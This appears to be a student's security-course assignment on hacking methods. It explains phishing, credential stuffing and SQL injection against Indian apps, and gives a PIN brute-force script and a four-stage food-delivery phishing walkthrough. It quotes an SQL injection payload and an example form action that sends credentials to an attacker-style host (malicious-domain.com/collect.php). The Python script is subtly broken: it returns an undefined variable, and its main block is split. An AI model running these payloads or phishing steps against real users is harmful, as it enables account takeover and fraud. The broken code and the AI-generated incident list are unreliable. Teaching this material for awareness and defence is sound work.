ASSIGNMENT-1 : HACKERS & HACKING METHODOLOGIES

GUIDED BY : VIPUL MITRI

Q.1 List 3 common hacking methodologies (such as phishing, brute force, SQL injection) and for each, write one real-world example of how it could be used to compromise an account on an app like Instagram or Paytm.

ANS :

1. Phishing

- **Concept:** Phishing involves social engineering—deceiving individuals into voluntarily surrendering sensitive information (such as credentials, personal data, or 2FA codes) by masquerading as a trusted entity.

- **Real-World Example (Instagram):** An attacker sends a direct message (DM) or email to an Instagram creator claiming that their account has been flagged for a **copyright infringement** or is eligible for a verified badge. The message includes a link to a lookalike login page (e.g., instagram-support-verify.com). When the victim inputs their username, password, and active two-factor authentication (2FA) code, the rogue site captures these details in real-time, allowing the attacker to instantly hijack the account and lock out the original owner.

2. Credential Stuffing & Brute Force

- **Concept:** Automated scripts or botnets are used to rapidly test lists of known username/password pairs (frequently sourced from third-party data breaches) against a target application's login portal, exploiting the common user habit of password reuse.

- **Real-World Example (Paytm):** Attackers feed a large database of leaked credentials into automated testing tools targeting the Paytm login API. Because many users reuse the same email and password combination across multiple e-commerce and utility sites, the script successfully authenticates into active Paytm accounts. Once inside, the attacker can access stored payment methods, view transaction histories, or execute unauthorized fund transfers.

3. SQL Injection (SQLi)

- **Concept:** SQL Injection occurs when an application fails to properly sanitize or parameterize user-supplied input before passing it to a backend database query, allowing an attacker to manipulate the database structure and execute arbitrary SQL commands.

- **Real-World Example (Paytm / Merchant Portal):** An attacker targets a vulnerable legacy search or login input field on a merchant management portal associated with a financial service. By injecting malicious SQL syntax (such as ' OR '1'='1) into the query parameters, the attacker bypasses authentication controls or extracts administrative database tables containing sensitive user data, transaction logs, or session tokens.

Q.2 Simulate a simple brute force attack by writing a Python script that tries all 4-digit PIN combinations (0000-9999) to guess a preset password variable. Print the number of attempts taken to find the correct PIN. Constraint: Do not use external libraries for this task.

ANS :
```
def simulate_brute_force(target_pin):
    attempts = 0


    # Loop through all possible 4-digit combinations from 0000 to 9999
    for i in range(10000):
        # Format the integer as a 4-digit string with leading zeros (e.g., 7 becomes "0007")
        guess = f"{i:04d}"
        attempts += 1
        # Check if the guess matches the target PIN
        if guess == target_pin:
            print(f"Success! Correct PIN found: {guess}")
            print(f"Number of attempts taken: {attempts}")
            return attempt
    print("PIN not found within range.")
    return None


if __name__ == "__main__":
    # Preset target PIN for the simulation
    secret_pin = "3852"
    print(f"Target PIN set to: {secret_pin}")
```

```
print("Starting brute-force attack simulation...\n")

simulate_brute_force(secret_pin)
```

Q.3 Research and describe the steps involved in a phishing attack targeting users of a popular food delivery app like Zomato or Swiggy. Include at least 4 steps and explain what the attacker and victim do at each stage.

ANS : Understanding the mechanics of a phishing attack from an educational and defensive perspective helps organizations and users build better security awareness and detection mechanisms. A social engineering campaign against consumer platforms—such as food delivery apps—typically follows a multi-stage attack lifecycle.

Step 1: Reconnaissance & Lure Preparation

In the initial planning phase, the attacker selects a high-yield theme and gathers the visual and technical assets required to make the campaign convincing.

- **What the Attacker Does:**
    - Selects a high-impact narrative, such as a "Limited-Time 80% Discount Voucher," a "Failed Order Refund," or a "Mandatory Account Verification."
    - Registers a domain name that closely mimics the target brand using typosquatting or lookalike characters (e.g., zomat0-offers.com or swiggy-refunds.net).
    - Clones the brand's official landing page, CSS styles, and logos to build a fake login portal or payment form.
- **What the Victim Does:**
    - At this stage, the victim is completely unaware. They continue using their authentic app or service normally.

Step 2: Distribution & Delivery

The attacker dispatches the deceptive message across communication channels frequented by mobile users.

- **What the Attacker Does:**
    - Sends mass SMS messages (Smishing), emails, or instant messages (e.g., via WhatsApp or Telegram) using automated delivery tools or compromised bulk-SMS gateways.

  - Crafts message text engineered to induce urgency or excitement (e.g., *"Your wallet refund of ₹500 is waiting! Click here to claim within 10 minutes"*).
  - Includes the tracking/phishing link disguised with URL shorteners or hyperlinked text.

- **What the Victim Does:**
  - Receives the notification on their mobile device or computer.
  - Reads the message and, driven by curiosity or urgency, clicks on the provided link instead of navigating directly through the official app.

Step 3: Interaction & Credential Capture

This step relies on tricking the victim into interacting with the malicious interface and entering sensitive authentication or financial data.

- **What the Attacker Does:**
  - Hosts the fraudulent portal that prompts the user to enter their phone number, email, password, or One-Time Password (OTP).
  - Uses automated backend scripts to relay the captured input instantly to the attacker's server or a private communication channel (such as a private Telegram bot).
  - If two-factor authentication (2FA) is enabled on the real service, the attacker's script triggers a real login attempt on the legitimate site to prompt the victim for their 2FA/OTP in real-time.
- **What the Victim Does:**
  - Believes they are on the genuine platform due to matching graphics and logos.
  - Submits their login credentials, mobile phone number, and any OTP received on their phone to "claim the reward" or "verify their account."

Step 4: Account Compromise & Post-Exploitation

Once the data is submitted, the attack transitions to monetization or unauthorized access.

- **What the Attacker Does:**
    - Inputs the intercepted credentials and real-time OTP into the official app or API to hijack the victim's account.
    - Changes account recovery details (such as the registered email or phone number) to lock out the victim.
    - Utilizes stored payment methods (saved credit/debit cards, linked UPI IDs, or digital wallet balances) to place high-value orders or transfer wallet balances.
    - Redirections: Often redirects the victim's browser to the actual, legitimate website after submission so the victim does not immediately realize they have been compromised.

- **What the Victim Does:**
    - Sees a confirmation screen or gets redirected to the real app's home page, often assuming the transaction failed or completed.
    - Later notices unauthorized charges, order notifications for locations they did not specify, or finds themselves logged out of their official account.

Key Defensive Measures

To protect against these types of attacks:

1. **Multi-Factor Authentication (MFA):** Use FIDO2/WebAuthn hardware keys or app-based authenticators where supported, as they are resistant to real-time proxy phishing.
2. **Domain Verification:** Always verify the browser address bar to ensure the domain matches the official platform (e.g., zomato.com or swiggy.com) before entering any login or payment information
3. **In-App Communication:** Treat unsolicited SMS or email links with skepticism; perform refunds, offers, and account actions directly within the official mobile app downloaded from authorized app stores.

ASSIGNMENT-1 : HACKERS & HACKING METHODOLOGIES

GUIDED BY : VIPUL MITRI

Q.4 Given the following fake login page HTML code, identify and explain two ways a hacker could use this page for credential harvesting. Hint: Think about what happens to the data entered by the user and how it could be sent to an attacker.

ANS :

1. Form Action Hijacking (Server-Side Collection)

- **How it works:** In standard HTML, a login form uses the <form> tag with an action attribute pointing to the legitimate authentication server (e.g., action="/auth/login"). An attacker modifies this attribute to point directly to a script on their own server (e.g., action="https://malicious-domain.com/collect.php" or a PHP/Node.js backend).

- **The Result:** When the victim types their username and password and clicks "Log In," the browser packages those input fields and sends an HTTP POST request straight to the attacker's server. The attacker's script logs the credentials, and then the script often redirects the user to the real website so they suspect nothing.

2. JavaScript Event Interception & AJAX Exfiltration (Asynchronous Harvesting)

- **How it works:** Instead of relying on a direct form submission, attackers often use inline or external JavaScript. They attach an event listener to the form's submit event (form.addEventListener('submit', ...)).

- **The Result:** When the user hits submit, the JavaScript intercepts the event, prevents the default action, reads the values using the Document Object Model (DOM) (such as document.getElementById('password').value), and uses an asynchronous fetch() or XMLHttpRequest API to silently beam the credentials off to a Telegram bot, webhook, or attacker database in the background. Once transmitted, the script finally redirects the victim to the genuine login portal.

Q.5 Use ChatGPT or another AI tool to generate a list of 5 recent real-world hacking incidents involving Indian apps or websites. For each incident, write one line about the hacking methodology used.

ANS :

ASSIGNMENT-1 : HACKERS & HACKING METHODOLOGIES

GUIDED BY : VIPUL MITRI

1. **Bank of Baroda (July 2026)**
    - **Methodology: Business Email Compromise (BEC) & Phishing** — Attackers compromised a bank employee's email account through social engineering or credential harvesting, gaining unauthorized access to internal communication and sensitive customer records.
2. **Power Grid Corporation of India Website (May 2025)**
    - **Methodology: Distributed Denial of Service (DDoS)** — Attackers flooded the public-facing Web portal with artificial traffic to exhaust server resources, causing a temporary blackout of online customer services and bill payment systems.
3. **Angel One (February 2025)**
    - **Methodology: Cloud Credential Hijacking / API Misconfiguration** — Unauthorized threat actors accessed the stockbroker's cloud-hosted infrastructure (AWS) using exposed cloud keys or API access tokens, which triggered dark web monitoring alerts.
4. **ICICI Bank Vendor Portal Incident (2025)**
    - **Methodology: Third-Party Supply Chain Compromise & Malware Insertion** — Attackers targeted an external third-party vendor portal associated with the bank to deploy credential-harvesting malware and attempt unauthorized access.
5. **Star Health Insurance (May 2025)**
    - **Methodology: Unauthorized API Data Exfiltration & Telegram Bot Leakage** — Threat actors exploited exposed backend database endpoints to extract millions of customer records, subsequently leveraging automated Telegram bots to distribute and monetize the stolen data.